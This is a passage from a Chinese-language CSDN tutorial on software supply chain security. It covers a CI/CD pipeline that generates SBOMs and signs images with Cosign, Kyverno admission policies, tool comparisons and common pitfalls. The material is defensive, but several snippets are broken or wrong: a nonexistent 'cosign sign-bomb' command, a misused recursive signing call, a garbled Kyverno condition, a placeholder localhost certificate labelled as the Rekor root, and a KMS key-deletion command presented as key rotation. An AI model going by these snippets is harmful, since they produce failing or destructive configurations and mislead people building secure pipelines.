--sbom sbom/sbom.cdx.json \
--type cyclonedx \
${{ steps.meta.outputs.tags }}
- name: Sign image with Fulcio (Keyless Signing)
run: |
# 使用GitHub OIDC Token签名(无需长期密钥)
cosign sign \
--yes \
--attachment sbom \
${IMAGE_DIGEST}
env:
IMAGE_DIGEST: ${{ steps.build.outputs.digest }}
# GitHub Actions自动提供OIDC Token
COSIGN_EXPERIMENTAL: "true"
- name: Verify signature
run: |
# 验证刚刚创建的签名
cosign verify \
--certificate-identity "https://github.com/${{ github.repository }}/.github/workflows/ci-cd.yml@refs/heads/main" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
${IMAGE_DIGEST}
env:
IMAGE_DIGEST: ${{ steps.build.outputs.digest }}
- name: Rekor integration check
run: |
# 查询Rekor透明日志,确认签名已记录
cosign triangulate ${IMAGE_DIGEST}
# 输出Rekor Entry URL
echo "🔍 Rekor Entry: https://search.sigstore.dev/?logIndex=$(cosign triangulate ${IMAGE_DIGEST} | jq -r '.LogIndex')"
env:
IMAGE_DIGEST: ${{ steps.build.outputs.digest }}
# Job 3: 部署到Kubernetes(带准入验证)
deploy:
name: Deploy to Kubernetes
needs: build-and-sign
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/main'
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up kubectl
uses: azure/setup-kubectl@v4
- name: Configure kubectl
run: |
# 使用GitHub OIDC获取K8s凭证(避免长期密钥)
# 假设配置了OIDC JWT认证
echo "${{ secrets.KUBECONFIG }}" | base64 -d > kubeconfig
export KUBECONFIG=kubeconfig
- name: Pre-deployment verification
run: |
IMAGE_DIGEST="${{ needs.build-and-sign.outputs.image-digest }}"
# 再次验证镜像签名(防御中间人攻击)
cosign verify \
--certificate-identity "https://github.com/${{ github.repository }}/.github/workflows/ci-cd.yml@refs/heads/main" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
"$IMAGE_DIGEST"
# 检查SBOM是否存在
cosign sbom "$IMAGE_DIGEST"
echo "✅ All pre-deployment checks passed!"
- name: Deploy to Kubernetes
run: |
IMAGE_TAG="${{ needs.build-and-sign.outputs.image-tag }}"
# 更新Deployment中的镜像
kubectl set image deployment/myapp myapp="$IMAGE_TAG" -n production
- name: Verify deployment
run: |
# 等待Deployment rollout完成
kubectl rollout status deployment/myapp -n production --timeout=5m
4.3 Kubernetes 策略执行
使用 Kyverno 验证镜像签名和SBOM:
yaml
# 文件路径: k8s/policies/image-verification.yaml
# 版本: 1.0.0
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
annotations:
policies.kyverno.io/title: Verify Image Signature with Cosign
policies.kyverno.io/category: Software Supply Chain Security
policies.kyverno.io/severity: high
policies.kyverno.io/subject: Pod
spec:
validationFailureAction: enforce # 拒绝不符合策略的资源
background: true
rules:
- name: verify-signature
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "ghcr.io/myorg/*" # 仅验证本组织的镜像
attestations:
- type: https://cosign.sigstore.dev/attestation/v1
conditions:
- all:
- key: "{{ regexMatch('^https://github.com/myorg/.*@refs/heads/main', '' | signatureVerified(certificateIdentities[].issuer)) }}"
operator: Equals
value: "true"
required: true
verifyDigest: true
# 信任Rekor的根证书
roots: |
-----BEGIN CERTIFICATE-----
MIICpDCCAYwCCQCK1Y4xLsPJ8DANBgkqhkiG9w0BAQsFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjQwMTAxMDAwMDAwWhcNMjUwMTAxMDAwMDAwWjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ
... (Rekor公钥)
-----END CERTIFICATE-----
---
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-sbom
annotations:
policies.kyverno.io/title: Require SBOM Attestation
policies.kyverno.io/category: Software Supply Chain Security
policies.kyverno.io/severity: medium
spec:
validationFailureAction: enforce
background: true
rules:
- name: check-sbom-exists
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "ghcr.io/myorg/*"
attestations:
- type: https://slsa.dev/provenance/v1
conditions:
- all:
- key: "{{ sbom }}"
operator: Any
# 检查SBOM是否包含CycloneDX或SPDX格式
value: "cyclonedx|spdx"
required: true
4.4 工具对比:Cosign vs. Notation
| 功能 | Cosign | Notation |
|---|---|---|
| 开发组织 | Sigstore (Linux Foundation) | Notary v2 (CNCF) |
| 签名格式 | Simple Signing (JSON) | Notation v2 (OCI兼容) |
| 密钥管理 | 本地/KMS/Vault/Fulcio | 本地/KMS/Vault/外部CA |
| 透明日志 | ✅ 内置Rekor | ❌ 需单独配置 |
| 身份绑定 | ✅ Fulcio (OIDC) | ✅ X.509证书 |
| SBOM支持 | ✅ cosign attach sbom | ⚠️ 通过签名artifact |
| K8s集成 | ✅ Kyverno/Policy Controller | ✅ Notary v2 K8s插件 |
| 多架构支持 | ✅ 原生支持 | ✅ 通过OCI manifests |
| 生态系统 | 更活跃(Sigstore生态) | 更传统(Docker/Notary用户) |
推荐选择:
- 新项目/云原生场景:选择 Cosign(生态更活跃,无密钥签名更安全)
- 企业级/合规要求高:选择 Notation(更传统,支持企业CA集成)
五、最佳实践与常见陷阱
5.1 SBOM 管理清单
| 实践 | 描述 | 工具推荐 |
|---|---|---|
| 1. 自动生成 | 在CI/CD中自动生成SBOM | Syft/Trivy |
| 2. 多格式支持 | 同时生成SPDX和CycloneDX | Syft (multi-format) |
| 3. 版本控制 | 将SBOM提交到Git仓库 | Git LFS |
| 4. 签名验证 | 对SBOM进行签名并验证 | Cosign |
| 5. 定期更新 | 依赖更新后重新生成SBOM | Dependabot + Renovate |
| 6. 漏洞关联 | 将SBOM与漏洞数据库关联 | Trivy/Grype + Dependency-Track |
| 7. 许可证合规 | 检查许可证兼容性 | FOSSA + SPDX Tools |
5.2 签名策略矩阵
| 场景 | 推荐策略 | 理由 |
|---|---|---|
| 生产环境 | KMS密钥 + Rekor透明日志 | 最高安全性,密钥不离开HSM |
| CI/CD环境 | Fulcio无密钥签名 + OIDC | 避免长期密钥泄露,基于身份 |
| 开发/测试 | 本地密钥文件 | 简单易用,但需密码保护 |
| 开源项目 | Fulcio + GitHub OIDC | 降低贡献者门槛,透明可审计 |
| 企业内部 | 企业CA + Notation | 与现有PKI系统集成 |
5.3 常见陷阱与解决方案
陷阱1:仅签名镜像,不签名依赖
问题 :攻击者可替换未签名的依赖包(如 node_modules、vendor/)
解决方案:
bash
# 签名所有依赖
cosign sign --recursive ./vendor
# 或使用SBOM签名
cosign sign-bomb sbom.spdx.json
陷阱2:忽略传递依赖
问题 :传递依赖可能包含恶意代码(如 event-stream 事件)
解决方案:
bash
# 使用Trivy扫描传递依赖
trivy fs --dependency-tree --format json .
# 检查输出中的"Transitive"字段
陷阱3:密钥轮转策略缺失
问题:密钥泄露后无法快速撤销
解决方案:
bash
# 设置密钥有效期(KMS)
aws kms schedule-key-deletion --key-id <KEY_ID> --pending-window-in-days 7
# 定期轮换密钥(CI/CD)
# 在GitHub Actions中添加定时任务
on:
schedule:
- cron: '0 0 1 * *' # 每月1号轮换密钥
陷阱4:忽略Base镜像安全
问题:签名镜像但Base镜像未验证
解决方案:
bash
# 验证Base镜像签名
cosign verify alpine:3.19
# 在Dockerfile中引用已签名的Base镜像
FROM alpine:3.19@sha256:... # 使用digest而非tag
陷阱5:缺少准入控制
问题:签名验证仅在CI中,运行时未强制
解决方案:
yaml
# Kyverno策略:拒绝未签名镜像
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: reject-unsigned-images
spec:
validationFailureAction: enforce
rules:
- name: verify-all-images
match:
any:
- resources:
kinds: [Pod]
verifyImages:
- imageReferences: ["*"]
required: true
六、工具生态与资源推荐
6.1 核心工具集
| 工具 | 用途 | 语言 | Star | 推荐指数 |
|---|---|---|---|---|
| Syft | 生成SBOM | Go | 5.2k | ⭐⭐⭐⭐⭐ |
| Trivy | 漏洞扫描 | Go | 21k | ⭐⭐⭐⭐⭐ |
| Cosign | 容器/文件签名 | Go | 4.5k | ⭐⭐⭐⭐⭐ |
| Sigstore | 完整签名生态 | Go | 4.8k | ⭐⭐⭐⭐⭐ |
| Kyverno | K8s策略引擎 | Go | 5.1k | ⭐⭐⭐⭐⭐ |
| Grype | 漏洞扫描 | Go | 4.3k | ⭐⭐⭐⭐ |
| Dependency-Track | SBOM分析平台 | Java | 2.8k | ⭐⭐⭐⭐ |
| Notation | OCI镜像签名 | Go | 1.2k | ⭐⭐⭐⭐ |
| Rekor | 透明日志 | Go | 1.1k | ⭐⭐⭐⭐⭐ |
| Fulcio | 代码签名证书 | Go | 842 | ⭐⭐⭐⭐⭐ |
6.2 学习资源
-
官方文档:
-
实战教程:
-
攻击案例研究:
七、总结与展望
软件供应链安全已从"最佳实践"演变为"必需品"。本文深入解析了SBOM和代码签名验证的核心技术,并通过Cosign/Syft源码分析展示了其实现原理。
关键要点回顾:
- SBOM是透明度基石:通过CycloneDX/SPDX记录所有依赖,实现漏洞追溯和许可证合规
- 代码签名保证完整性:Cosign + Sigstore提供从签名到透明日志的端到端验证
- 身份优于密钥:Fulcio无密钥签名基于OIDC身份,避免长期密钥泄露风险
- 强制策略执行:Kyverno等准入控制器确保运行时验证,不仅依赖CI检查
未来趋势:
- SBOM成为监管要求:美国、欧盟已立法要求关键软件提供SBOM
- SLSA标准普及:Google的SLSA(Supply-chain Levels for Software Artifacts)将成为供应链安全认证框架
- AI辅助安全:大语言模型将用于依赖风险评估和异常检测
行动清单:
- ✅ 在下一个CI/CD Pipeline中集成SBOM生成
- ✅ 使用Cosign对所有镜像进行签名验证
- ✅ 在Kubernetes中部署Kyverno策略强制验证
- ✅ 设置Trivy定期扫描依赖漏洞
- ✅ 将Rekor日志查询集成到事件响应流程
记住:安全不是产品,而是过程。软件供应链安全需要持续投入和全流程协作,从开发者、安全团队到运维人员,每个环节都至关重要。
参考资料:
- NIST Software Supply Chain Security Guidance
- CISA Software Supply Chain Security Recommendations
- CNCF Software Supply Chain Best Practices
版权声明:本文为CSDN原创文章,转载请注明出处。文章中的代码示例基于开源项目Cosign/Syft的真实源码进行分析,遵循Apache 2.0许可证。